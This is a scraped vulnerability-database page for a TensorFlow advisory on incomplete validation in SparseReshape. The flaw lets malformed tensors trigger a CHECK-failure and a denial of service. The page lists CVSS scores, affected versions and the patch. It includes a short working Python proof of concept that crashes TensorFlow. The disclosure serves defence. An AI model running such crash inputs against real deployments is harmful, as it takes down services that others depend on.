Lucene search

K
githubGitHub Advisory DatabaseGHSA-9RPC-5V9Q-5R7F
HistoryMay 21, 2021 - 2:28 p.m.

Incomplete validation in `SparseReshape`

2021-05-2114:28:35
CWE-20
CWE-665
GitHub Advisory Database
github.com
36
sparsereshape
denial of service
check-failure
tensorflow 2.5.0
security vulnerability
github commit
tensorflow 2.4.2
tensorflow 2.3.3
baidu x-team

CVSS2

2.1

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:N/I:N/A:P

CVSS3

5.5

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS

0

Percentile

12.8%

Impact

Incomplete validation in SparseReshape results in a denial of service based on a CHECK-failure.

import tensorflow as tf

input_indices = tf.constant(41, shape=[1, 1], dtype=tf.int64)
input_shape = tf.zeros([11], dtype=tf.int64)
new_shape = tf.zeros([1], dtype=tf.int64)

tf.raw_ops.SparseReshape(input_indices=input_indices,
    input_shape=input_shape,
    new_shape=new_shape)

The implementation has no validation that the input arguments specify a valid sparse tensor.

Patches

We have patched the issue in GitHub commit 1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are the only affected versions.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Affected configurations

Vulners
Node
tensorflow-gpuRange2.4.02.4.2
OR
tensorflow-gpuRange2.3.02.3.3
OR
tensorflow-cpuRange2.4.02.4.2
OR
tensorflow-cpuRange2.3.02.3.3
OR
tensorflowtensorflowRange2.4.02.4.2
OR
tensorflowtensorflowRange2.3.02.3.3
VendorProductVersionCPE
*tensorflow-gpu*cpe:2.3:a:*:tensorflow-gpu:*:*:*:*:*:*:*:*
*tensorflow-cpu*cpe:2.3:a:*:tensorflow-cpu:*:*:*:*:*:*:*:*
tensorflowtensorflow*cpe:2.3:a:tensorflow:tensorflow:*:*:*:*:*:*:*:*

CVSS2

2.1

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:N/I:N/A:P

CVSS3

5.5

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS

0

Percentile

12.8%

Related for GHSA-9RPC-5V9Q-5R7F